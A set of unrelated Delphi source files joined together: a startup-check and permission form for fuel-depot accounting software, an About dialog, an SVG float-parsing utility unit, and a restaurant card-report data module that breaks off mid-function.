var ImageIndex, EMP, i : integer;
frmTest : TfrmTestLaunch;
procedure CheckBlockAndWarning(CheckIndex : integer);
Begin
if (ImageIndex in [1,3]) and (Main.EMP_ID<>0) then //1-блок; 3-червоний трикутник
begin
case CheckIndex of
2,3: Main.EMP_ID := 0; //вигрузка пакетів та перевірки
4,7: if IsObl(Main.Inst) then //синхр. партій та вагонів
MainForm.miReports.Enabled := False
else
Main.EMP_ID := 0;
5: Main.EMP_ID := 7; //дані по дебіторам
6,8: Main.EMP_ID := 6; //зм.звіти та ціни конкурентів
10: Main.EMP_ID := 0; //заведені трубопроводи в резервуарах
end;
ResultStr := ResultStr + IntToStr(CheckIndex)+',';
end;
Block := Block or (ImageIndex=1);
Warning := Warning or (ImageIndex in [2,3]);
if ImageIndex = 3 then
begin
RecFocused := true;
RecordFocus := frmTest.rmd.RecNo;
end
else if not RecFocused and (ImageIndex > 0) then
RecordFocus := frmTest.rmd.RecNo;
end;
Begin
startlog(TranslateText(' запуск проверок, часть 2...'));
if NowIsRestDay then begin
startlog(TranslateText(' работа в выходной день, проверки пройдены'));
Exit;
end;
ResultStr := ',';
Block := False;
Warning := False;
RecFocused := False;
Result := True;
RecordFocus := 1;
EMP := REAL_EMP_ID;
try
frmTest := TfrmTestLaunch.Create(nil);
with frmTest do Begin
bbtContinue.Tag := 2; //SecondTest
IsRegularOnly := True; // щоб не ковбасило при натисненні "Продовжити" на другому етапі тесту.
pnlWithCloseButton.Visible := False;
ArrayLength := 0;
// тимчасово вирубаємо оневенти
dsRMD.OnDataChange := nil;
dsVagon.OnDataChange := nil;
dsPart.OnDataChange := nil;
dsRez.OnDataChange := nil;
rmd.Active := True;
IncArrayLength;
ImageIndex := TestCheckUpFlagOnActivate(ArrayOfComment[ArrayLength-1]);
CheckBlockAndWarning(1);
AddRecord(ImageIndex,TranslateText('Ошибки в проверках по талонам/карточкам/бланкам'));
if ActiveCH(3) then
begin
IncArrayLength;
ImageIndex := SetPacketTimer(ArrayOfComment[ArrayLength-1],True);
AddRecord(ImageIndex,TranslateText('Выгрузка пакетов из OIL-а'));
CheckBlockAndWarning(2);
end;
IncArrayLength;
ImageIndex := CheckUpIsTooOld(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Построение проверок по талонам/карточкам/бланкам'));
CheckBlockAndWarning(3);
if ActiveCH(4) then
begin
IncArrayLength;
ArrayOfComment[ArrayLength-1] := '';
ImageIndex := SynchroPart;
PartItem := ArrayLength-1;
AddRecord(ImageIndex,TranslateText('Синхронизация партий'));
CheckBlockAndWarning(4);
end;
if ActiveCH(5) then
begin
IncArrayLength;
ImageIndex := DebetorIsTooOld(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Данные по дебеторам'));
CheckBlockAndWarning(5);
end;
if ActiveCH(6) then
begin
IncArrayLength;
ImageIndex := DailyRepControl(ArrayOfComment[ArrayLength-1],true);
AddRecord(ImageIndex,TranslateText('Ввод см. отчетов и цен конкурентов'));
CheckBlockAndWarning(6);
end;
if ActiveCH(7) then
begin
IncArrayLength;
ImageIndex := TestVagons;
VagonItem := ArrayLength-1;
AddRecord(ImageIndex,TranslateText('Синхронизация вагонов'));
CheckBlockAndWarning(7);
end;
if ActiveCH(8) then
begin
IncArrayLength;
ImageIndex := TestSRTalons;
SRTalonItem := ArrayLength-1;
AddRecord(ImageIndex,TranslateText('Сменный отчет - талоны без номеров и серий'));
CheckBlockAndWarning(8);
end;
if ActiveCH(9) then
begin
IncArrayLength;
ArrayOfComment[ArrayLength-1] := '';
ImageIndex := TestTubingsInRez;
RezItem := ArrayLength-1;
AddRecord(ImageIndex,TranslateText('Проверка заведённых трубопроводов в резервуарах'));
CheckBlockAndWarning(10);
end;
if ActiveCH(10) then
begin
if LoadChecks(2) then
for i:=0 to Length(Checks)-1 do
begin
SetLength(ArrayOfComment,Length(ArrayOfComment)+1);
ArrayOfComment[High(ArrayOfComment)] := IntToStr(i);
AddRecord(Checks[i].Result,Checks[i].Description);
ImageIndex := Checks[i].Result;
CheckBlockAndWarning(Checks[i].CheckIndex);
if (Checks[i].Result<>0) and (Checks[i].ResultEmpId <> -1) and (Main.EMP_ID <> 0) then
Main.EMP_ID := Checks[i].ResultEmpId;
end;
end;
if DBObjectExists('ecfil139','TABLE',AdmSettings.Get('CARD_USER')) or DBObjectExists('ТРАНЗАКЦИИ','') then // *NO_TRANSLATE*
Begin
startlog(TranslateText(' зафиксирован Петрол'));
_OpenQueryParOra(qCard,['inst',INST]);
while not qCard.Eof do
Begin
if qCard.FieldByName('id').AsInteger in [1..6,8] then IncArrayLength;
case qCard.FieldByName('id').AsInteger of
1: if ActiveCH(11) then begin
MainForm.teSuccIncassMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
ImageIndex := SuccessIncass(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Успешная модемная инкассация терминалов'));
End;
2: if ActiveCH(12) then begin
MainForm.teLoadModemTransMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
ImageIndex := LoadModemTrans(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Прием модемных транзакций в Петрол'));
End;
3: if ActiveCH(13) then begin
MainForm.teLoadCardTransMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
ImageIndex := CardTrans(3,ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Прием транзакций с карты'));
End;
4: if ActiveCH(14) then begin
MainForm.tePutBlackListMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
ImageIndex := CardTrans(4,ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Сброс черного списка на карту'));
End;
5: if ActiveCH(15) then begin
MainForm.teLoadPackPCMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
ImageIndex := PCExchange(5,ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Прием пакетов из ПЦ'));
End;
6: if ActiveCH(16) then begin
MainForm.teSendPackPCMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
ImageIndex := PCExchange(6,ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Отправка пакетов в ПЦ'));
End;
// 7:Begin
// MainForm.teMakeBlackListMsg.Tag := qCard.FieldByName('WARNING_QUANTITY').AsInteger;
// ImageIndex := MakeBlackList(ArrayOfComment[ArrayLength-1]);
// AddRecord(ImageIndex,'Создание ЧС для модемной инкассации');
// End;
8: if ActiveCH(17) then begin
ImageIndex := LinkComServer(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Проверка загрузки программы LinkComServer'));
End;
End;
CheckBlockAndWarning(7);
qCard.Next;
End;
End;
// відновлюємо оневенти
dsRMD.OnDataChange := dsRMDDataChange;
dsVagon.OnDataChange := dsRMDDataChange;
dsPart.OnDataChange := dsRMDDataChange;
dsRez.OnDataChange := dsRMDDataChange;
rmd.Filtered := True; // ховаємо пройдені перевірки по-дефолту
cbHideGreen.Checked := True;
rmd.RecNo := RecordFocus;
if Block or Warning then ShowModal;
if frmTest.tag = -1 then Result := False;
SetLength(ArrayOfComment,0);
Close;
Free;
{если user=admin то вне того как все вышестоящие провероки прошли он все}
{равно оставляет права Admin'а }
if (EMP=1) and (Main.EMP_ID=0) then
Begin
Main.EMP_ID := 1;
Main.REAL_EMP_ID := 1;
End;
{если ошибки завершились блокированием при любом юзере, то логин }
{пройдет на пользователя который имеет права на редактирование Договоров/Партий/Приходов/Резервуаров }
if Main.EMP_ID=0 then
begin
Main.EMP_ID := 8;
Main.REAL_EMP_ID := 8;
end;
End; //with do
MainForm.Admining(MainForm,EMP_ID);
MainForm.ProcessMainMenu;
startlog(TranslateText(' проверки пройдены'));
except on E:Exception do
begin
ShowMessage(TranslateText('Ошибка при формировании статуса проверок')+#13#10+E.Message+#13#10+
TranslateText('Обратитесь к разработчикам. Все права заблокированы. '));
startlog(TranslateText(' в процессе произошла ошибка ')+E.Message);
Application.Terminate;
end;
end;
end;
procedure TfrmTestLaunch.bbtContinueClick(Sender: TObject);
var
SAddStr : String;
PasswType : TOilPasswordType;
begin
_ExecSqlOra('begin ov.ResetOilVar; end;');
{вычислить номера заблокированных проверок}
cbHideGreen.Checked := False; {імітація кліка на галочку}
rmd.DisableControls;
rmd.First;
sAddStr := '';
while rmd.RecNo < rmd.RecordCount do // останній рядок - рядок перевірок по талонам/карткам/бланкам. Його не враховуємо
begin
if (rmd.FieldByName('flag').AsInteger = 1)
then SAddStr := SAddStr + IntToStr(rmd.RecNo);
rmd.Next;
end;
if IsRegularOnly then // при регулярних перевірках перевіряємо всі без винятку рядки
if (rmd.FieldByName('flag').AsInteger = 1)
then SAddStr := SAddStr + IntToStr(rmd.RecNo);
rmd.EnableControls;
{}
if GetVal(ReadOilVar('SMART_PASSW')) = 'Y'
then PasswType := pwtTestLaunch
else PasswType := pwtOrg;
if bbtContinue.Tag=1 then
begin
IsBlockedFirstTestRegular;
if Block and not IsPasswordValid(edtPassword.text,PasswType,SAddStr) then
begin // bbtContinue.Tag=1 - поточний етап: FirstTest
cbHideGreen.Checked := True;
ShowMessage(TranslateText('Неверный пароль!'));
exit;
end;
PASSWORD := edtPassword.Text;
end;
Self.Tag := 0;
ModalResult := mrOK;
end;
procedure TfrmTestLaunch.dsRMDDataChange(Sender: TObject;
Field: TField);
begin
if Length(ArrayOfComment)>0 then
if rmd.RecNo-1 = PartItem then
Notebook1.ActivePage := 'Part'
else if rmd.RecNo-1 = VagonItem then
Notebook1.ActivePage := 'VagonGrid'
else if rmd.recNo-1 = SrTalonItem then
Notebook1.ActivePage := 'SrTalon'
else if rmd.RecNo-1 = RezItem then
NoteBook1.ActivePage := 'TubRez'
else if (length(ArrayOfComment[rmd.RecNo-1]) <> 0) and
(ArrayOfComment[rmd.RecNo-1][1] in ['0'..'9']) then
begin
NoteBook1.ActivePage := 'CheckList';
dsCheckList.DataSet := Checks[StrToInt(ArrayOfComment[rmd.RecNo-1])].qCheck;
dbgCheck.Hint := Checks[StrToInt(ArrayOfComment[rmd.RecNo-1])].Description;
dbgCheck.Columns.AddAllColumns(true);
end
else
begin
Notebook1.ActivePage := 'Memo';
redComment.Text := ArrayOfComment[rmd.RecNo-1];
end;
end;
procedure TfrmTestLaunch.FormShow(Sender: TObject);
begin
if GetVal(ReadOilVar('SMART_PASSW')) = 'Y'
then StatusBar1.Panels[0].Text := 'Smart'
else StatusBar1.Panels[0].Text := 'Org'
end;
// Результат 0 - ОК, 1 - Блок, 2 - Предупреждение
function TfrmTestLaunch.TestVagons: integer;
var
IVagonTime : integer;
begin
Result :=0;
try
if ReadOilVar('EXCH_VAGON_TIME') <> ''
then IVagonTime := GetVal(ReadOilVar('EXCH_VAGON_TIME'))
else raise Exception.Create(TranslateText('Не найден ключ EXCH_VAGON_TIME'));
_OpenQueryParOra(qVagons,['p_Days',IVagonTime]);
if qVagons.RecordCount > 0 then begin
result:=1;
while not qVagons.Eof do begin
if qVagons.FieldByName('N').AsFloat <=0 then exit;
qVagons.Next;
end;
qVagons.First;
result:=2;
end;
except on e:Exception do
begin
result := 1;
ShowMessage(TranslateText('Ошибка TfrmTestLaunch.TestVagons: ')+E.Message);
end;
end;
end;
procedure TfrmTestLaunch.miPutToExcelClick(Sender: TObject);
var dbGrid: TDBGridEh;
begin
Case Notebook1.PageIndex of
0: if qPart.Active then dbGrid := dbgPart;
2: if qVagons.Active then dbGrid := dbgVagons;
4: if qRez.Active then dbGrid := dbgRez;
5: begin if qCheckList.Active then dbGrid := dbgCheck; end
else //case
exit;
end;
PutGridEhToExcel(dbGrid,dbGrid.Hint);
end;
procedure TfrmTestLaunch.bbTestDBClick(Sender: TObject);
var
T: TTestDbForm;
begin
Application.CreateForm(TTestDBForm,T);
try
T.ShowModal;
finally
T.Free;
end;
end;
// 0 - ОК, 1 - Блок, 2 - Предупреждение
function TfrmTestLaunch.TestSRTalons: Integer;
begin
Result :=0;
try
_OpenQueryOra(qSRTalon);
if qSRTalon.RecordCount <= 0 then Exit;
if qSRTalon.FieldByName('N').AsFloat <= 0
then Result := 1
else Result := 2
except on e:Exception do
begin
result := 1;
ShowMessage(TranslateText('Ошибка TfrmTestLaunch.TestSRTalons: ')+E.Message);
end;
end;
end;
function TfrmTestLaunch.TestTubingsInRez: integer;
begin
Result := 0;
try
qRez.Close;
_OpenQueryOra(qRez);
If (qRez.RecordCount > 0) then
Result := 1;
except on E:Exception do
begin
Result := 1;
ShowMessage(TranslateText('Ошибка')+'в TfrmTextLaunch.TestTubingsInRez: '+E.Message);
end;
end;
end;
procedure TfrmTestLaunch.cbHideGreenClick(Sender: TObject);
var iRec: integer;
begin
inherited;
iRec := rmd.RecNo;
rmd.Filtered := cbHideGreen.Checked;
rmd.RecNo := iRec;
end;
procedure TfrmTestLaunch.rmdFilterRecord(DataSet: TDataSet;
var Accept: Boolean);
begin
inherited;
Accept := not (rmdFlag.AsInteger = 0); //фільтруємо пройдені перевірки
end;
procedure TfrmTestLaunch.dbgMainDrawColumnCell(Sender: TObject;
const Rect: TRect; DataCol: Integer; Column: TColumnEh;
State: TGridDrawState);
begin
if DataCol = 0 then
ImageList1.Draw(dbgMain.Canvas, Rect.Left + (Rect.Right - Rect.Left - ImageList1.Width) div 2,
Rect.Top + (Rect.Bottom - Rect.Top - ImageList1.Height) div 2,
rmdFlag.AsInteger);
end;
function TfrmTestLaunch.LoadChecks(Test_num:integer): boolean;
var i,j,n: integer;
sLine, sPropName, slPropVal: string;
procedure DelimText(var List: TStringList; str: string);
var n: integer;
begin
List := TStringList.Create; // Для коректної роботи процедури, необхідно притримуватися наступної умови:
List.Delimiter := ';'; // якщо серед назв є такі, що містять спейси - обовязково виділити їх подвійнимим лапками.
List.DelimitedText := str; // Напр., для поля 'Макс. дебет': --$F_NAME_T=Дебетор;Дата;Дебет;"Макс. дебет"
if pos('@',str) > 0 then
for n:=0 to List.Count-1 do // Дабл ленгвіч саппорт
List[n]:=DevideRusUkr(List[n],true);
end;
begin
i:=0;
Result := false;
SetLength(Checks, 0);
_OpenQueryPar(qCheckList, ['test', Test_num]);
SetLength(Checks, qCheckList.RecordCount);
qCheckList.First;
While not qCheckList.EoF do
begin
sLine := qCheckListSQL_NAME.AsString + ',' + qCheckListFORM_NAME.AsString;
Checks[i].qCheck := TOilQuery.Create(nil);
Checks[i].qCheck.SQL.Text := '-->' + sLine +#10#13+
'select ''Error in '+sLine+''' as uTestError from dual';
_OpenQueryOra(Checks[i].qCheck);
if Checks[i].qCheck.FindField('uTestError') <> nil then
MessageDlg('TfrmTestLaunch.LoadChecks:'+
#13#10 + 'Error in '+sLine+#13#10+
#13#10 + TranslateText('Обратитесь к разработчикам. Все права заблокированы. '),
mtError, [mbOK], 0)
else
begin
// Зчитуємо параметри --$
with Checks[i].Fields do begin
for j:=0 to Checks[i].qCheck.SQL.Count-1 do
if Pos('--$',Checks[i].qCheck.SQL[j]) = 1 then
begin
sLine := Checks[i].qCheck.SQL[j];
n := Pos('=',sLine);
sPropName := UpperCase(trim(Copy(sLine,4,n-4)));
slPropVal := trim(Copy(sLine,n+1,length(sLine)-n));
if slPropVal = '' then slPropVal:='-1';
if sPropName = 'DESC' then
Checks[i].Description := DevideRusUkr(slPropVal,true)
else if sPropName = 'TEST' then
Checks[i].Test := StrToInt(slPropVal)
else if sPropName = 'ISREGULAR' then
Checks[i].IsRegular := (slPropVal='1')
else if sPropName = 'RESULT' then
Checks[i].Result := sign(Checks[i].qCheck.RecordCount) * StrToInt(slPropVal)
else if sPropName = 'RESULT_EMP_ID' then
Checks[i].ResultEmpId := StrToInt(slPropVal)
else if sPropName = 'CHECKINDEX' then
Checks[i].CheckIndex := StrToInt(slPropVal)
else if sPropName = 'F_NAME_Q' then
DelimText(NameQ, slPropVal)
else if sPropName = 'F_NAME_T' then
DelimText(NameT, slPropVal)
else if sPropName = 'F_WIDTH' then
DelimText(Width, slPropVal);
end;
for j:=0 to Checks[i].qCheck.FieldCount-1 do
Checks[i].qCheck.Fields[j].Visible := False;
for j:=0 to NameQ.Count-1 do
begin
Checks[i].qCheck.FieldByName(NameQ[j]).Visible := True;
Checks[i].qCheck.FieldByName(NameQ[j]).DisplayLabel := NameT[j];
Checks[i].qCheck.FieldByName(NameQ[j]).DisplayWidth := StrToInt(Width[j]) div 6;
end;
end; // with Checks[i].Fields
Result := true;
inc(i);
end;
qCheckList.Next;
end;
inc(ArrayLength,i);
end;
end.
|
unit AboutForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls,
InflatablesList_Manager;
type
TfAboutForm = class(TForm)
imgLogo: TImage;
lblTitle: TLabel;
lblTitleShadow: TLabel;
lblVersion: TLabel;
lblCompiler: TLabel;
lblCopyright: TLabel;
lblMail: TLabel;
procedure FormCreate(Sender: TObject);
procedure lblMailClick(Sender: TObject);
procedure lblMailMouseEnter(Sender: TObject);
procedure lblMailMouseLeave(Sender: TObject);
private
{ Private declarations }
fILManager: TILManager;
protected
procedure BuildForm;
public
{ Public declarations }
procedure Initialize(ILManager: TILManager);
procedure Finalize;
procedure ShowInfo;
end;
var
fAboutForm: TfAboutForm;
implementation
uses
WinFileInfo,
InflatablesList_Utils;
{$R *.dfm}
procedure TfAboutForm.BuildForm;
begin
with TWinFileInfo.Create(WFI_LS_LoadVersionInfo or WFI_LS_LoadFixedFileInfo or WFI_LS_DecodeFixedFileInfo) do
try
lblTitle.Caption := VersionInfoValues[VersionInfoTranslations[0].LanguageStr,'FileDescription'];
lblTitleShadow.Caption := lblTitle.Caption;
lblVersion.Caption := IL_Format('version %d.%d.%d (build #%d, %s)',
[VersionInfoFixedFileInfoDecoded.FileVersionMembers.Major,
VersionInfoFixedFileInfoDecoded.FileVersionMembers.Minor,
VersionInfoFixedFileInfoDecoded.FileVersionMembers.Release,
VersionInfoFixedFileInfoDecoded.FileVersionMembers.Build,
{$IFDEF Debug}'debug'{$ELSE}'release'{$ENDIF}]);
lblCompiler.Caption := IL_Format('compiled in %s %s',
[{$IFDEF FPC}'Lazarus/FPC'{$ELSE}'Delphi'{$ENDIF},
{$IFDEF x64}'64bit'{$ELSE}'32bit'{$ENDIF}]);
lblCopyright.Caption := IL_Format('%s, all rights reserved',
[VersionInfoValues[VersionInfoTranslations[0].LanguageStr,'LegalCopyright']]);
finally
Free;
end;
end;
//==============================================================================
procedure TfAboutForm.Initialize(ILManager: TILManager);
begin
fILManager := ILManager;
end;
//------------------------------------------------------------------------------
procedure TfAboutForm.Finalize;
begin
// nothing to do
end;
//------------------------------------------------------------------------------
procedure TfAboutForm.ShowInfo;
begin
ShowModal;
end;
//==============================================================================
procedure TfAboutForm.FormCreate(Sender: TObject);
begin
BuildForm;
end;
//------------------------------------------------------------------------------
procedure TfAboutForm.lblMailClick(Sender: TObject);
begin
IL_ShellOpen(Self.Handle,'mailto:' + lblMail.Caption);
end;
//------------------------------------------------------------------------------
procedure TfAboutForm.lblMailMouseEnter(Sender: TObject);
begin
lblMail.Font.Style := lblMail.Font.Style + [fsUnderline];
lblMail.Font.Color := clRed;
end;
//------------------------------------------------------------------------------
procedure TfAboutForm.lblMailMouseLeave(Sender: TObject);
begin
lblMail.Font.Style := lblMail.Font.Style - [fsUnderline];
lblMail.Font.Color := clBlue;
end;
end.
|
{******************************************************************}
{ SVG common }
{ }
{ home page : http://www.mwcs.de }
{ email : martin.walter@mwcs.de }
{ }
{ date : 05-04-2005 }
{ }
{ Use of this file is permitted for commercial and non-commercial }
{ use, as long as the author is credited. }
{ This file (c) 2005, 2008 Martin Walter }
{ }
{ Thanks to: }
{ Kiriakos Vlahos (type conversion and utility functions) }
{ Kiriakos Vlahos (functions from mormot2 for best performances) }
{ }
{ This Software is distributed on an "AS IS" basis, WITHOUT }
{ WARRANTY OF ANY KIND, either express or implied. }
{ }
{ *****************************************************************}
unit SVGCommon;
interface
uses
Winapi.Windows,
Winapi.GDIPAPI,
Winapi.GDIPOBJ,
System.Types,
SVGTypes;
function TryStrToTFloat(const S: string; out Value: TFloat): Boolean;
function StrToTFloat(const S: string): TFloat;
// type conversion functions
function ToGPRectF(R: TRect): TGPRectF; overload; inline;
function ToGPRectF(R: TRectF): TGPRectF; overload; inline;
function FromGPRectF(R: TGPRectF): TRectF; inline;
// Utility functions
function HasValue(F: TFloat): Boolean; overload; inline;
function HasValue(I: Integer): Boolean; overload; inline;
function FittedRect(const Bounds: TGPRectF; const Width, Height: Single): TGPRectF;
implementation
uses
System.SysUtils;
{ *** Start Code from the mormot2 project https://github.com/synopse/mORMot2 }
const
POW10: array[-31..33] of Extended = (
1E-31, 1E-30, 1E-29, 1E-28, 1E-27, 1E-26, 1E-25, 1E-24, 1E-23, 1E-22,
1E-21, 1E-20, 1E-19, 1E-18, 1E-17, 1E-16, 1E-15, 1E-14, 1E-13, 1E-12,
1E-11, 1E-10, 1E-9, 1E-8, 1E-7, 1E-6, 1E-5, 1E-4, 1E-3, 1E-2,
1E-1, 1E0, 1E1, 1E2, 1E3, 1E4, 1E5, 1E6, 1E7, 1E8,
1E9, 1E10, 1E11, 1E12, 1E13, 1E14, 1E15, 1E16, 1E17, 1E18,
1E19, 1E20, 1E21, 1E22, 1E23, 1E24, 1E25, 1E26, 1E27, 1E28,
1E29, 1E30, 1E31, 0, -1);
function HugePower10(exponent: integer): Extended; inline;
var
e: Extended;
begin
result := POW10[0]; // 1
if exponent < 0 then
begin
e := POW10[-1]; // 0.1
exponent := -exponent;
end
else
e := POW10[1]; // 10
repeat
while exponent and 1 = 0 do
begin
exponent := exponent shr 1;
e := sqr(e);
end;
result := result * e;
dec(exponent);
until exponent = 0;
end;
/// get the extended floating point value stored in P^
// - set the err content to the index of any faulty character, 0 if conversion
// was successful (same as the standard val function)
function GetExtended(P: PUTF8Char; out err: integer): Extended;
var
digit: byte;
frac, exp: NativeInt;
c: AnsiChar;
flags: set of (fNeg, fNegExp, fValid);
v: Int64; // allows 64-bit resolution for the digits (match 80-bit extended)
label
e;
begin
byte(flags) := 0;
v := 0;
frac := 0;
if P = nil then
goto e;
c := P^;
if c = ' ' then
repeat
inc(P);
c := P^;
until c <> ' '; // trailing spaces
if c = '+' then
begin
inc(P);
c := P^;
end
else if c = '-' then
begin
inc(P);
c := P^;
include(flags, fNeg);
end;
digit := 18; // max Int64 resolution
repeat
inc(P);
if (c >= '0') and (c <= '9') then
begin
if digit <> 0 then
begin
dec(c, ord('0'));
{$ifdef CPU64}
v := v * 10;
{$else}
v := v shl 3 + v + v;
{$endif}
inc(v, byte(c));
dec(digit); // over-required digits are just ignored
include(flags, fValid);
if frac <> 0 then
dec(frac); // digits after '.'
c := P^;
continue;
end;
if frac >= 0 then
inc(frac); // handle #############00000
c := P^;
continue;
end;
if c <> '.' then
break;
if frac > 0 then
goto e;
dec(frac);
c := P^;
until false;
if frac < 0 then
inc(frac); // adjust digits after '.'
if (c = 'E') or (c = 'e') then
begin
exp := 0;
exclude(flags, fValid);
c := P^;
if c = '+' then
inc(P)
else if c = '-' then
begin
inc(P);
include(flags, fNegExp);
end;
repeat
c := P^;
inc(P);
if (c < '0') or (c > '9') then
break;
dec(c, ord('0'));
exp := (exp * 10) + byte(c);
include(flags, fValid);
until false;
if fNegExp in flags then
dec(frac, exp)
else
inc(frac, exp);
end;
if (fValid in flags) and (c = #0) then
err := 0
else
e: err := 1; // return the (partial) value even if not ended with #0
if (frac >= -31) and (frac <= 31) then
result := POW10[frac]
else
result := HugePower10(frac);
if fNeg in flags then
result := result * POW10[33]; // * -1
result := result * v;
end;
function ToFloat(P: PAnsiChar; out value: TFloat): boolean; inline;
var
err: integer;
begin
value := GetExtended(P, err);
result := err = 0;
end;
{ *** End Code from the mormot2 project https://github.com/synopse/mORMot2 }
function TryStrToTFloat(const S: string; out Value: TFloat): Boolean;
// The SVG standard does not allow for comma decimal separators
var
S1: UTF8String;
begin
S1 := UTF8String(S);
Result := ToFloat(PUTF8Char(S1), Value);
if not Result then
Value := 0;
end;
function StrToTFloat(const S: string): TFloat;
begin
TryStrToTFloat(S, Result);
end;
function ToGPRectF(R: TRect): TGPRectF;
var
LLeft: Single;
begin
LLeft := R.Left;
Result := WinApi.GDIPAPI.MakeRect(LLeft, R.Top, R.Width, R.Height);
end;
function ToGPRectF(R: TRectF): TGPRectF;
begin
with R do
Result := WinApi.GDIPAPI.MakeRect(Left, Top, Width, Height);
end;
function FromGPRectF(R: TGPRectF): TRectF;
begin
with R do
Result := TRectF.Create(X, Y, X + Width, Y + Height);
end;
function HasValue(F: TFloat): Boolean;
begin
Result := F <> UndefinedFloat;
end;
function HasValue(I: Integer): Boolean; overload; inline;
begin
Result := I <> UndefinedInt;
end;
function FitInto(const r : TRectF; const ADesignatedArea: TRectF; out Ratio: Single): TRectF;
begin
if (ADesignatedArea.Width <= 0) or (ADesignatedArea.Height <= 0) then
begin
Ratio := 1;
Exit(r);
end;
if (r.Width / ADesignatedArea.Width) > (r.Height / ADesignatedArea.Height) then
Ratio := r.Width / ADesignatedArea.Width
else
Ratio := r.Height / ADesignatedArea.Height;
Result := TRectF.Create(0, 0, r.Width / Ratio, r.Height / Ratio);
RectCenter(Result, ADesignatedArea);
end;
function FittedRect(const Bounds: TGPRectF; const Width, Height: Single): TGPRectF;
var
r : TRectF;
ratio : Single;
begin
r := TRectF.Create(0, 0, Width, Height);
r := FitInto(r,FromGPRectF(Bounds), ratio);
Result := ToGPRectF(r);
end;
end.
|
unit rpuFoodsAllReport;
interface
uses
System.SysUtils, System.Classes, System.Variants, FireDAC.Stan.Intf,
FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS,
FireDAC.Phys.Intf, FireDAC.DApt.Intf, frxClass, Data.DB, FireDAC.Comp.DataSet,
FireDAC.Comp.Client, frxDBSet, fruDateTimeFilter, fruCusomerRKFilter,
vwuFoodsAllReport, vwuFoodsAllComposition;
type
TrpFoodsAllReport = class(TDataModule)
frDataset: TfrxDBDataset;
frDatasetOper: TfrxDBDataset;
DS: TDataSource;
frReport: TfrxReport;
procedure frReportGetValue(const VarName: string; var Value: Variant);
private
FFoods: TvwFoodsAllReport;
FFoodsComposition: TvwFoodsAllComposition;
FDateFilter: TfrDateTimeFilter;
FCustomerFilter: TfrCusomerRKFilter;
FCardNumFilter: Variant;
function GetSqlCustomerFilter: string;
function GetCustomerFilterValue(): Variant;
function GetCustomerFilterCaption(): string;
function GetDateFilterCaption(): string;
public
constructor Create(Owner: TComponent); override;
destructor Destroy; override;
procedure Init;
procedure Print;
property DateFilter: TfrDateTimeFilter read FDateFilter write FDateFilter;
property CustomerFilter: TfrCusomerRKFilter read FCustomerFilter write FCustomerFilter;
property CardNumFilter: Variant read FCardNumFilter write FCardNumFilter;
end;
implementation
uses
CR.Application, eduPrintSample;
{%CLASSGROUP 'Vcl.Controls.TControl'}
{$R *.dfm}
{ TrpFoodsAllReport }
constructor TrpFoodsAllReport.Create(Owner: TComponent);
begin
inherited;
FFoods := TvwFoodsAllReport.Create(Self);
FFoods.Connection := CRApplication.DBConnection;
FFoodsComposition := TvwFoodsAllComposition.Create(Self);
FFoodsComposition.Connection := CRApplication.DBConnection;
frDataset.DataSet := FFoods.F;
frDataset.UserName := 'Клиенты';
frDataset.FieldAliases.Clear;
frDataset.FieldAliases.Add('-ID=ID');
frDataset.FieldAliases.Add('CardCode=Номер карты');
// frDataset.FieldAliases.Add('DiscountName=Название скидки');
frDataset.FieldAliases.Add('CustomerName=Владелец');
frDataset.FieldAliases.Add('SumMoney=Сумма');
frDataset.FieldAliases.Add('DiscountSum=Сумма скидки');
frDataset.FieldAliases.Add('PaidSum=Оплачено');
frDatasetOper.DataSet := FFoodsComposition.F;
frDatasetOper.UserName := 'Рассшифровка блюд';
frDatasetOper.FieldAliases.Clear;
frDatasetOper.FieldAliases.Add('-ID=ID');
frDatasetOper.FieldAliases.Add('CardCode=Номер карты');
frDatasetOper.FieldAliases.Add('CustomerName=Владелец');
frDatasetOper.FieldAliases.Add('Name=Блюдо');
frDatasetOper.FieldAliases.Add('Price=Цена');
frDatasetOper.FieldAliases.Add('Quantity=Количество');
frDatasetOper.FieldAliases.Add('SumMoney=Сумма');
frDatasetOper.FieldAliases.Add('DiscountSum=Сумма скидки');
frDatasetOper.FieldAliases.Add('PaySum=Оплачено');
end;
destructor TrpFoodsAllReport.Destroy;
begin
FFoods.Free;
FFoodsComposition.Free;
inherited;
end;
procedure TrpFoodsAllReport.Init;
begin
FFoods.DateFilter := DateFilter;
FFoods.CardNumFilter := FCardNumFilter;
FFoods.CustomerFilter := FCustomerFilter.KeyValue;
FFoodsComposition.DateFilter := DateFilter;
FFoodsComposition.CardNumFilter := FCardNumFilter;
FFoodsComposition.CustomerFilter := FCustomerFilter.KeyValue;
DS.DataSet := FFoods.F;
FFoodsComposition.F.IndexFieldNames := 'CardCode';
FFoodsComposition.F.MasterSource := DS;
FFoodsComposition.F.MasterFields := 'CardCode';
FFoods.RefreshData(Null);
FFoodsComposition.RefreshData(Null);
end;
procedure TrpFoodsAllReport.Print;
begin
TedPrintSample.Print(frReport, Self.ClassName, True, True);
end;
function TrpFoodsAllReport.GetCustomerFilterValue: Variant;
begin
if Assigned(CustomerFilter) then
Result := CustomerFilter.KeyValue
else
Result := Null;
end;
function TrpFoodsAllReport.GetCustomerFilterCaption: string;
begin
if GetCustomerFilterValue <> Null then
Result := 'Владелец карты: ' + VarToStr(GetCustomerFilterValue) + #13#10
else
Result := '';
end;
function TrpFoodsAllReport.GetDateFilterCaption: string;
